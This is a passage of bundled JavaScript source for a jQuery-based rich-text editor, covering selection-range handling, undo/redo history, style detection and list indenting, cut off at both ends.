// eslint-disable-line\n\n    if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&\n      textCount === curTextNode.nodeValue.length) {\n      textCount -= curTextNode.nodeValue.length;\n      curTextNode = curTextNode.nextSibling;\n    }\n\n    container = curTextNode;\n    offset = textCount;\n  }\n\n  return {\n    cont: container,\n    offset: offset\n  };\n}\n\n/**\n * return TextRange from boundary point (inspired by google closure-library)\n * @param {BoundaryPoint} point\n * @return {TextRange}\n */\nfunction pointToTextRange(point) {\n  const textRangeInfo = function(container, offset) {\n    let node, isCollapseToStart;\n\n    if (dom.isText(container)) {\n      const prevTextNodes = dom.listPrev(container, func.not(dom.isText));\n      const prevContainer = lists.last(prevTextNodes).previousSibling;\n      node = prevContainer || container.parentNode;\n      offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);\n      isCollapseToStart = !prevContainer;\n    } else {\n      node = container.childNodes[offset] || container;\n      if (dom.isText(node)) {\n        return textRangeInfo(node, 0);\n      }\n\n      offset = 0;\n      isCollapseToStart = false;\n    }\n\n    return {\n      node: node,\n      collapseToStart: isCollapseToStart,\n      offset: offset\n    };\n  };\n\n  const textRange = document.body.createTextRange();\n  const info = textRangeInfo(point.node, point.offset);\n\n  textRange.moveToElementText(info.node);\n  textRange.collapse(info.collapseToStart);\n  textRange.moveStart('character', info.offset);\n  return textRange;\n}\n\n/**\n   * Wrapped Range\n   *\n   * @constructor\n   * @param {Node} sc - start container\n   * @param {Number} so - start offset\n   * @param {Node} ec - end container\n   * @param {Number} eo - end offset\n   */\nclass WrappedRange {\n  constructor(sc, so, ec, eo) {\n    this.sc = sc;\n    this.so = so;\n    this.ec = ec;\n    this.eo = eo;\n\n    // isOnEditable: judge whether range is on editable or not\n    this.isOnEditable = this.makeIsOn(dom.isEditable);\n    // isOnList: judge whether range is on list node or not\n    this.isOnList = this.makeIsOn(dom.isList);\n    // isOnAnchor: judge whether range is on anchor node or not\n    this.isOnAnchor = this.makeIsOn(dom.isAnchor);\n    // isOnCell: judge whether range is on cell node or not\n    this.isOnCell = this.makeIsOn(dom.isCell);\n    // isOnData: judge whether range is on data node or not\n    this.isOnData = this.makeIsOn(dom.isData);\n  }\n\n  // nativeRange: get nativeRange from sc, so, ec, eo\n  nativeRange() {\n    if (env.isW3CRangeSupport) {\n      const w3cRange = document.createRange();\n      w3cRange.setStart(this.sc, this.so);\n      w3cRange.setEnd(this.ec, this.eo);\n\n      return w3cRange;\n    } else {\n      const textRange = pointToTextRange({\n        node: this.sc,\n        offset: this.so\n      });\n\n      textRange.setEndPoint('EndToEnd', pointToTextRange({\n        node: this.ec,\n        offset: this.eo\n      }));\n\n      return textRange;\n    }\n  }\n\n  getPoints() {\n    return {\n      sc: this.sc,\n      so: this.so,\n      ec: this.ec,\n      eo: this.eo\n    };\n  }\n\n  getStartPoint() {\n    return {\n      node: this.sc,\n      offset: this.so\n    };\n  }\n\n  getEndPoint() {\n    return {\n      node: this.ec,\n      offset: this.eo\n    };\n  }\n\n  /**\n   * select update visible range\n   */\n  select() {\n    const nativeRng = this.nativeRange();\n    if (env.isW3CRangeSupport) {\n      const selection = document.getSelection();\n      if (selection.rangeCount > 0) {\n        selection.removeAllRanges();\n      }\n      selection.addRange(nativeRng);\n    } else {\n      nativeRng.select();\n    }\n\n    return this;\n  }\n\n  /**\n   * Moves the scrollbar to start container(sc) of current range\n   *\n   * @return {WrappedRange}\n   */\n  scrollIntoView(container) {\n    const height = $(container).height();\n    if (container.scrollTop + height < this.sc.offsetTop) {\n      container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);\n    }\n\n    return this;\n  }\n\n  /**\n   * @return {WrappedRange}\n   */\n  normalize() {\n    /**\n     * @param {BoundaryPoint} point\n     * @param {Boolean} isLeftToRight\n     * @return {BoundaryPoint}\n     */\n    const getVisiblePoint = function(point, isLeftToRight) {\n      if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||\n          (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||\n          (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||\n          (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {\n        return point;\n      }\n\n      // point on block's edge\n      const block = dom.ancestor(point.node, dom.isBlock);\n      if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||\n          ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {\n        // returns point already on visible point\n        if (dom.isVisiblePoint(point)) {\n          return point;\n        }\n        // reverse direction\n        isLeftToRight = !isLeftToRight;\n      }\n\n      const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)\n        : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);\n      return nextPoint || point;\n    };\n\n    const endPoint = getVisiblePoint(this.getEndPoint(), false);\n    const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);\n\n    return new WrappedRange(\n      startPoint.node,\n      startPoint.offset,\n      endPoint.node,\n      endPoint.offset\n    );\n  }\n\n  /**\n   * returns matched nodes on range\n   *\n   * @param {Function} [pred] - predicate function\n   * @param {Object} [options]\n   * @param {Boolean} [options.includeAncestor]\n   * @param {Boolean} [options.fullyContains]\n   * @return {Node[]}\n   */\n  nodes(pred, options) {\n    pred = pred || func.ok;\n\n    const includeAncestor = options && options.includeAncestor;\n    const fullyContains = options && options.fullyContains;\n\n    // TODO compare points and sort\n    const startPoint = this.getStartPoint();\n    const endPoint = this.getEndPoint();\n\n    const nodes = [];\n    const leftEdgeNodes = [];\n\n    dom.walkPoint(startPoint, endPoint, function(point) {\n      if (dom.isEditable(point.node)) {\n        return;\n      }\n\n      let node;\n      if (fullyContains) {\n        if (dom.isLeftEdgePoint(point)) {\n          leftEdgeNodes.push(point.node);\n        }\n        if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {\n          node = point.node;\n        }\n      } else if (includeAncestor) {\n        node = dom.ancestor(point.node, pred);\n      } else {\n        node = point.node;\n      }\n\n      if (node && pred(node)) {\n        nodes.push(node);\n      }\n    }, true);\n\n    return lists.unique(nodes);\n  }\n\n  /**\n   * returns commonAncestor of range\n   * @return {Element} - commonAncestor\n   */\n  commonAncestor() {\n    return dom.commonAncestor(this.sc, this.ec);\n  }\n\n  /**\n   * returns expanded range by pred\n   *\n   * @param {Function} pred - predicate function\n   * @return {WrappedRange}\n   */\n  expand(pred) {\n    const startAncestor = dom.ancestor(this.sc, pred);\n    const endAncestor = dom.ancestor(this.ec, pred);\n\n    if (!startAncestor && !endAncestor) {\n      return new WrappedRange(this.sc, this.so, this.ec, this.eo);\n    }\n\n    const boundaryPoints = this.getPoints();\n\n    if (startAncestor) {\n      boundaryPoints.sc = startAncestor;\n      boundaryPoints.so = 0;\n    }\n\n    if (endAncestor) {\n      boundaryPoints.ec = endAncestor;\n      boundaryPoints.eo = dom.nodeLength(endAncestor);\n    }\n\n    return new WrappedRange(\n      boundaryPoints.sc,\n      boundaryPoints.so,\n      boundaryPoints.ec,\n      boundaryPoints.eo\n    );\n  }\n\n  /**\n   * @param {Boolean} isCollapseToStart\n   * @return {WrappedRange}\n   */\n  collapse(isCollapseToStart) {\n    if (isCollapseToStart) {\n      return new WrappedRange(this.sc, this.so, this.sc, this.so);\n    } else {\n      return new WrappedRange(this.ec, this.eo, this.ec, this.eo);\n    }\n  }\n\n  /**\n   * splitText on range\n   */\n  splitText() {\n    const isSameContainer = this.sc === this.ec;\n    const boundaryPoints = this.getPoints();\n\n    if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {\n      this.ec.splitText(this.eo);\n    }\n\n    if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {\n      boundaryPoints.sc = this.sc.splitText(this.so);\n      boundaryPoints.so = 0;\n\n      if (isSameContainer) {\n        boundaryPoints.ec = boundaryPoints.sc;\n        boundaryPoints.eo = this.eo - this.so;\n      }\n    }\n\n    return new WrappedRange(\n      boundaryPoints.sc,\n      boundaryPoints.so,\n      boundaryPoints.ec,\n      boundaryPoints.eo\n    );\n  }\n\n  /**\n   * delete contents on range\n   * @return {WrappedRange}\n   */\n  deleteContents() {\n    if (this.isCollapsed()) {\n      return this;\n    }\n\n    const rng = this.splitText();\n    const nodes = rng.nodes(null, {\n      fullyContains: true\n    });\n\n    // find new cursor point\n    const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {\n      return !lists.contains(nodes, point.node);\n    });\n\n    const emptyParents = [];\n    $.each(nodes, function(idx, node) {\n      // find empty parents\n      const parent = node.parentNode;\n      if (point.node !== parent && dom.nodeLength(parent) === 1) {\n        emptyParents.push(parent);\n      }\n      dom.remove(node, false);\n    });\n\n    // remove empty parents\n    $.each(emptyParents, function(idx, node) {\n      dom.remove(node, false);\n    });\n\n    return new WrappedRange(\n      point.node,\n      point.offset,\n      point.node,\n      point.offset\n    ).normalize();\n  }\n\n  /**\n   * makeIsOn: return isOn(pred) function\n   */\n  makeIsOn(pred) {\n    return function() {\n      const ancestor = dom.ancestor(this.sc, pred);\n      return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));\n    };\n  }\n\n  /**\n   * @param {Function} pred\n   * @return {Boolean}\n   */\n  isLeftEdgeOf(pred) {\n    if (!dom.isLeftEdgePoint(this.getStartPoint())) {\n      return false;\n    }\n\n    const node = dom.ancestor(this.sc, pred);\n    return node && dom.isLeftEdgeOf(this.sc, node);\n  }\n\n  /**\n   * returns whether range was collapsed or not\n   */\n  isCollapsed() {\n    return this.sc === this.ec && this.so === this.eo;\n  }\n\n  /**\n   * wrap inline nodes which children of body with paragraph\n   *\n   * @return {WrappedRange}\n   */\n  wrapBodyInlineWithPara() {\n    if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {\n      this.sc.innerHTML = dom.emptyPara;\n      return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);\n    }\n\n    /**\n     * [workaround] firefox often create range on not visible point. so normalize here.\n     *  - firefox: |<p>text</p>|\n     *  - chrome: <p>|text|</p>\n     */\n    const rng = this.normalize();\n    if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {\n      return rng;\n    }\n\n    // find inline top ancestor\n    let topAncestor;\n    if (dom.isInline(rng.sc)) {\n      const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));\n      topAncestor = lists.last(ancestors);\n      if (!dom.isInline(topAncestor)) {\n        topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];\n      }\n    } else {\n      topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];\n    }\n\n    // siblings not in paragraph\n    let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();\n    inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));\n\n    // wrap with paragraph\n    if (inlineSiblings.length) {\n      const para = dom.wrap(lists.head(inlineSiblings), 'p');\n      dom.appendChildNodes(para, lists.tail(inlineSiblings));\n    }\n\n    return this.normalize();\n  }\n\n  /**\n   * insert node at current cursor\n   *\n   * @param {Node} node\n   * @return {Node}\n   */\n  insertNode(node) {\n    const rng = this.wrapBodyInlineWithPara().deleteContents();\n    const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));\n\n    if (info.rightNode) {\n      info.rightNode.parentNode.insertBefore(node, info.rightNode);\n    } else {\n      info.container.appendChild(node);\n    }\n\n    return node;\n  }\n\n  /**\n   * insert html at current cursor\n   */\n  pasteHTML(markup) {\n    const contentsContainer = $('<div></div>').html(markup)[0];\n    const childNodes = lists.from(contentsContainer.childNodes);\n\n    const rng = this.wrapBodyInlineWithPara().deleteContents();\n\n    return childNodes.reverse().map(function(childNode) {\n      return rng.insertNode(childNode);\n    }).reverse();\n  }\n\n  /**\n   * returns text in range\n   *\n   * @return {String}\n   */\n  toString() {\n    const nativeRng = this.nativeRange();\n    return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;\n  }\n\n  /**\n   * returns range for word before cursor\n   *\n   * @param {Boolean} [findAfter] - find after cursor, default: false\n   * @return {WrappedRange}\n   */\n  getWordRange(findAfter) {\n    let endPoint = this.getEndPoint();\n\n    if (!dom.isCharPoint(endPoint)) {\n      return this;\n    }\n\n    const startPoint = dom.prevPointUntil(endPoint, function(point) {\n      return !dom.isCharPoint(point);\n    });\n\n    if (findAfter) {\n      endPoint = dom.nextPointUntil(endPoint, function(point) {\n        return !dom.isCharPoint(point);\n      });\n    }\n\n    return new WrappedRange(\n      startPoint.node,\n      startPoint.offset,\n      endPoint.node,\n      endPoint.offset\n    );\n  }\n\n  /**\n   * create offsetPath bookmark\n   *\n   * @param {Node} editable\n   */\n  bookmark(editable) {\n    return {\n      s: {\n        path: dom.makeOffsetPath(editable, this.sc),\n        offset: this.so\n      },\n      e: {\n        path: dom.makeOffsetPath(editable, this.ec),\n        offset: this.eo\n      }\n    };\n  }\n\n  /**\n   * create offsetPath bookmark base on paragraph\n   *\n   * @param {Node[]} paras\n   */\n  paraBookmark(paras) {\n    return {\n      s: {\n        path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),\n        offset: this.so\n      },\n      e: {\n        path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),\n        offset: this.eo\n      }\n    };\n  }\n\n  /**\n   * getClientRects\n   * @return {Rect[]}\n   */\n  getClientRects() {\n    const nativeRng = this.nativeRange();\n    return nativeRng.getClientRects();\n  }\n}\n\n/**\n * Data structure\n *  * BoundaryPoint: a point of dom tree\n *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range\n *\n * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position\n */\nexport default {\n  /**\n   * create Range Object From arguments or Browser Selection\n   *\n   * @param {Node} sc - start container\n   * @param {Number} so - start offset\n   * @param {Node} ec - end container\n   * @param {Number} eo - end offset\n   * @return {WrappedRange}\n   */\n  create: function(sc, so, ec, eo) {\n    if (arguments.length === 4) {\n      return new WrappedRange(sc, so, ec, eo);\n    } else if (arguments.length === 2) { // collapsed\n      ec = sc;\n      eo = so;\n      return new WrappedRange(sc, so, ec, eo);\n    } else {\n      let wrappedRange = this.createFromSelection();\n      if (!wrappedRange && arguments.length === 1) {\n        wrappedRange = this.createFromNode(arguments[0]);\n        return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);\n      }\n      return wrappedRange;\n    }\n  },\n\n  createFromSelection: function() {\n    let sc, so, ec, eo;\n    if (env.isW3CRangeSupport) {\n      const selection = document.getSelection();\n      if (!selection || selection.rangeCount === 0) {\n        return null;\n      } else if (dom.isBody(selection.anchorNode)) {\n        // Firefox: returns entire body as range on initialization.\n        // We won't never need it.\n        return null;\n      }\n\n      const nativeRng = selection.getRangeAt(0);\n      sc = nativeRng.startContainer;\n      so = nativeRng.startOffset;\n      ec = nativeRng.endContainer;\n      eo = nativeRng.endOffset;\n    } else { // IE8: TextRange\n      const textRange = document.selection.createRange();\n      const textRangeEnd = textRange.duplicate();\n      textRangeEnd.collapse(false);\n      const textRangeStart = textRange;\n      textRangeStart.collapse(true);\n\n      let startPoint = textRangeToPoint(textRangeStart, true);\n      let endPoint = textRangeToPoint(textRangeEnd, false);\n\n      // same visible point case: range was collapsed.\n      if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&\n          dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&\n          endPoint.node.nextSibling === startPoint.node) {\n        startPoint = endPoint;\n      }\n\n      sc = startPoint.cont;\n      so = startPoint.offset;\n      ec = endPoint.cont;\n      eo = endPoint.offset;\n    }\n\n    return new WrappedRange(sc, so, ec, eo);\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from node\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNode: function(node) {\n    let sc = node;\n    let so = 0;\n    let ec = node;\n    let eo = dom.nodeLength(ec);\n\n    // browsers can't target a picture or void node\n    if (dom.isVoid(sc)) {\n      so = dom.listPrev(sc).length - 1;\n      sc = sc.parentNode;\n    }\n    if (dom.isBR(ec)) {\n      eo = dom.listPrev(ec).length - 1;\n      ec = ec.parentNode;\n    } else if (dom.isVoid(ec)) {\n      eo = dom.listPrev(ec).length;\n      ec = ec.parentNode;\n    }\n\n    return this.create(sc, so, ec, eo);\n  },\n\n  /**\n   * create WrappedRange from node after position\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNodeBefore: function(node) {\n    return this.createFromNode(node).collapse(true);\n  },\n\n  /**\n   * create WrappedRange from node after position\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNodeAfter: function(node) {\n    return this.createFromNode(node).collapse();\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from bookmark\n   *\n   * @param {Node} editable\n   * @param {Object} bookmark\n   * @return {WrappedRange}\n   */\n  createFromBookmark: function(editable, bookmark) {\n    const sc = dom.fromOffsetPath(editable, bookmark.s.path);\n    const so = bookmark.s.offset;\n    const ec = dom.fromOffsetPath(editable, bookmark.e.path);\n    const eo = bookmark.e.offset;\n    return new WrappedRange(sc, so, ec, eo);\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from paraBookmark\n   *\n   * @param {Object} bookmark\n   * @param {Node[]} paras\n   * @return {WrappedRange}\n   */\n  createFromParaBookmark: function(bookmark, paras) {\n    const so = bookmark.s.offset;\n    const eo = bookmark.e.offset;\n    const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);\n    const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);\n\n    return new WrappedRange(sc, so, ec, eo);\n  }\n};\n","import $ from 'jquery';\n\n/**\n * @method readFileAsDataURL\n *\n * read contents of file as representing URL\n *\n * @param {File} file\n * @return {Promise} - then: dataUrl\n */\nexport function readFileAsDataURL(file) {\n  return $.Deferred((deferred) => {\n    $.extend(new FileReader(), {\n      onload: (e) => {\n        const dataURL = e.target.result;\n        deferred.resolve(dataURL);\n      },\n      onerror: (err) => {\n        deferred.reject(err);\n      }\n    }).readAsDataURL(file);\n  }).promise();\n}\n\n/**\n * @method createImage\n *\n * create `<image>` from url string\n *\n * @param {String} url\n * @return {Promise} - then: $image\n */\nexport function createImage(url) {\n  return $.Deferred((deferred) => {\n    const $img = $('<img>');\n\n    $img.one('load', () => {\n      $img.off('error abort');\n      deferred.resolve($img);\n    }).one('error abort', () => {\n      $img.off('load').detach();\n      deferred.reject($img);\n    }).css({\n      display: 'none'\n    }).appendTo(document.body).attr('src', url);\n  }).promise();\n}\n","import range from '../core/range';\n\nexport default class History {\n  constructor($editable) {\n    this.stack = [];\n    this.stackOffset = -1;\n    this.$editable = $editable;\n    this.editable = $editable[0];\n  }\n\n  makeSnapshot() {\n    const rng = range.create(this.editable);\n    const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}};\n\n    return {\n      contents: this.$editable.html(),\n      bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)\n    };\n  }\n\n  applySnapshot(snapshot) {\n    if (snapshot.contents !== null) {\n      this.$editable.html(snapshot.contents);\n    }\n    if (snapshot.bookmark !== null) {\n      range.createFromBookmark(this.editable, snapshot.bookmark).select();\n    }\n  }\n\n  /**\n  * @method rewind\n  * Rewinds the history stack back to the first snapshot taken.\n  * Leaves the stack intact, so that \"Redo\" can still be used.\n  */\n  rewind() {\n    // Create snap shot if not yet recorded\n    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n      this.recordUndo();\n    }\n\n    // Return to the first available snapshot.\n    this.stackOffset = 0;\n\n    // Apply that snapshot.\n    this.applySnapshot(this.stack[this.stackOffset]);\n  }\n\n  /**\n  * @method reset\n  * Resets the history stack completely; reverting to an empty editor.\n  */\n  reset() {\n    // Clear the stack.\n    this.stack = [];\n\n    // Restore stackOffset to its original value.\n    this.stackOffset = -1;\n\n    // Clear the editable area.\n    this.$editable.html('');\n\n    // Record our first snapshot (of nothing).\n    this.recordUndo();\n  }\n\n  /**\n   * undo\n   */\n  undo() {\n    // Create snap shot if not yet recorded\n    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n      this.recordUndo();\n    }\n\n    if (this.stackOffset > 0) {\n      this.stackOffset--;\n      this.applySnapshot(this.stack[this.stackOffset]);\n    }\n  }\n\n  /**\n   * redo\n   */\n  redo() {\n    if (this.stack.length - 1 > this.stackOffset) {\n      this.stackOffset++;\n      this.applySnapshot(this.stack[this.stackOffset]);\n    }\n  }\n\n  /**\n   * recorded undo\n   */\n  recordUndo() {\n    this.stackOffset++;\n\n    // Wash out stack after stackOffset\n    if (this.stack.length > this.stackOffset) {\n      this.stack = this.stack.slice(0, this.stackOffset);\n    }\n\n    // Create new snapshot and push it to the end\n    this.stack.push(this.makeSnapshot());\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class Style {\n  /**\n   * @method jQueryCSS\n   *\n   * [workaround] for old jQuery\n   * passing an array of style properties to .css()\n   * will result in an object of property-value pairs.\n   * (compability with version < 1.9)\n   *\n   * @private\n   * @param  {jQuery} $obj\n   * @param  {Array} propertyNames - An array of one or more CSS properties.\n   * @return {Object}\n   */\n  jQueryCSS($obj, propertyNames) {\n    if (env.jqueryVersion < 1.9) {\n      const result = {};\n      $.each(propertyNames, (idx, propertyName) => {\n        result[propertyName] = $obj.css(propertyName);\n      });\n      return result;\n    }\n    return $obj.css(propertyNames);\n  }\n\n  /**\n   * returns style object from node\n   *\n   * @param {jQuery} $node\n   * @return {Object}\n   */\n  fromNode($node) {\n    const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];\n    const styleInfo = this.jQueryCSS($node, properties) || {};\n    styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);\n    return styleInfo;\n  }\n\n  /**\n   * paragraph level style\n   *\n   * @param {WrappedRange} rng\n   * @param {Object} styleInfo\n   */\n  stylePara(rng, styleInfo) {\n    $.each(rng.nodes(dom.isPara, {\n      includeAncestor: true\n    }), (idx, para) => {\n      $(para).css(styleInfo);\n    });\n  }\n\n  /**\n   * insert and returns styleNodes on range.\n   *\n   * @param {WrappedRange} rng\n   * @param {Object} [options] - options for styleNodes\n   * @param {String} [options.nodeName] - default: `SPAN`\n   * @param {Boolean} [options.expandClosestSibling] - default: `false`\n   * @param {Boolean} [options.onlyPartialContains] - default: `false`\n   * @return {Node[]}\n   */\n  styleNodes(rng, options) {\n    rng = rng.splitText();\n\n    const nodeName = (options && options.nodeName) || 'SPAN';\n    const expandClosestSibling = !!(options && options.expandClosestSibling);\n    const onlyPartialContains = !!(options && options.onlyPartialContains);\n\n    if (rng.isCollapsed()) {\n      return [rng.insertNode(dom.create(nodeName))];\n    }\n\n    let pred = dom.makePredByNodeName(nodeName);\n    const nodes = rng.nodes(dom.isText, {\n      fullyContains: true\n    }).map((text) => {\n      return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);\n    });\n\n    if (expandClosestSibling) {\n      if (onlyPartialContains) {\n        const nodesInRange = rng.nodes();\n        // compose with partial contains predication\n        pred = func.and(pred, (node) => {\n          return lists.contains(nodesInRange, node);\n        });\n      }\n\n      return nodes.map((node) => {\n        const siblings = dom.withClosestSiblings(node, pred);\n        const head = lists.head(siblings);\n        const tails = lists.tail(siblings);\n        $.each(tails, (idx, elem) => {\n          dom.appendChildNodes(head, elem.childNodes);\n          dom.remove(elem);\n        });\n        return lists.head(siblings);\n      });\n    } else {\n      return nodes;\n    }\n  }\n\n  /**\n   * get current style on cursor\n   *\n   * @param {WrappedRange} rng\n   * @return {Object} - object contains style properties.\n   */\n  current(rng) {\n    const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);\n    let styleInfo = this.fromNode($cont);\n\n    // document.queryCommandState for toggle state\n    // [workaround] prevent Firefox nsresult: \"0x80004005 (NS_ERROR_FAILURE)\"\n    try {\n      styleInfo = $.extend(styleInfo, {\n        'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',\n        'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',\n        'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',\n        'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',\n        'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',\n        'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',\n        'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']\n      });\n    } catch (e) {}\n\n    // list-style-type to list-style(unordered, ordered)\n    if (!rng.isOnList()) {\n      styleInfo['list-style'] = 'none';\n    } else {\n      const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];\n      const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1;\n      styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';\n    }\n\n    const para = dom.ancestor(rng.sc, dom.isPara);\n    if (para && para.style['line-height']) {\n      styleInfo['line-height'] = para.style.lineHeight;\n    } else {\n      const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);\n      styleInfo['line-height'] = lineHeight.toFixed(1);\n    }\n\n    styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);\n    styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);\n    styleInfo.range = rng;\n\n    return styleInfo;\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport func from '../core/func';\nimport dom from '../core/dom';\nimport range from '../core/range';\n\nexport default class Bullet {\n  /**\n   * toggle ordered list\n   */\n  insertOrderedList(editable) {\n    this.toggleList('OL', editable);\n  }\n\n  /**\n   * toggle unordered list\n   */\n  insertUnorderedList(editable) {\n    this.toggleList('UL', editable);\n  }\n\n  /**\n   * indent\n   */\n  indent(editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      if (dom.isLi(head)) {\n        this.wrapList(paras, head.parentNode.nodeName);\n      } else {\n        $.each(paras, (idx, para) => {\n          $(para).css('marginLeft', (idx, val) => {\n            return (parseInt(val, 10) || 0) + 25;\n          });\n        });\n      }\n    });\n\n    rng.select();\n  }\n\n  /**\n   * outdent\n   */\n  outdent(editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      if (dom.isLi(head)) {\n        this.releaseList([paras]);\n      } else {\n        $.each(paras, (idx, para) => {\n          $(para).css('marginLeft', (idx, val) => {\n            val = (parseInt(val, 10) || 0);\n            return val > 25 ? val - 25 : '';\n          });\n        });\n      }\n    });\n\n    rng.select();\n  }\n\n  /**\n   * toggle list\n   *\n   * @param {String} listName - OL or UL\n   */\n  toggleList(listName, editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    let paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const bookmark = rng.paraBookmark(paras);\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    // paragraph to list\n    if (lists.find(paras, dom.isPurePara)) {\n      let wrappedParas = [];\n      $.each(clustereds, (idx, paras) => {\n        wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));\n      });\n      paras = wrappedParas;\n    // list to paragraph or change list style\n    } else {\n      const diffLists = rng.nodes(dom.isList, {\n        includeAncestor: true\n      }).filter((listNode) => {\n        return !$.nodeName(listNode, listName);\n      });\n\n      if (diffLists.length) {\n        $.each(diffLists, (idx, listNode) => {\n          dom.replace(listNode, listName);\n        });\n      } else {\n        paras = this.releaseList(clustereds, true);\n      }\n    }\n\n    range.createFromParaBookmark(bookmark, paras).select();\n  }\n\n  /**\n   * @param {Node[]} paras\n   * @param {String} listName\n   * @return {Node[]}\n   */\n  wrapList(paras, listName) {\n    const head = lists.head(paras);\n    const last = lists.last(paras);\n\n    const prevList = dom.isList(head.previousSibling) && head.previousSibling;\n    const nextList = dom.isList(last.nextSibling) && last.nextSibling;\n\n    const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);\n\n    // P to LI\n    paras = paras.map((para) => {\n      return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;\n    });\n\n    // append to list(<ul>, <ol>)\n    dom.appendChildNodes(listNode, paras);\n\n    if (nextList) {\n      dom.appendChildNodes(listNode, lists.from(nextList.childNodes));\n      dom.remove(nextList);\n    }\n\n    return paras;\n  }\n\n  /**\n   * @method releaseList\n   *\n   * @param {Array[]} clustereds\n   * @param {Boolean} isEscapseToBody\n   * @return {Node[]}\n   */\n  releaseList(clustereds, isEscapseToBody) {\n    let releasedParas = [];\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      const last = lists.last(paras);\n\n      const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;\n      const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {\n        node: last.parentNode,\n        offset: dom.position(last) + 1\n      }, {\n        isSkipPaddingBlankHTML: true\n      }) : null;\n\n      const middleList = dom.splitTree(headList, {\n        node: head.parentNode,\n        offset: dom.position(head)\n      }, {\n        isSkipPaddingBlankHTML: true\n      });\n\n      paras = 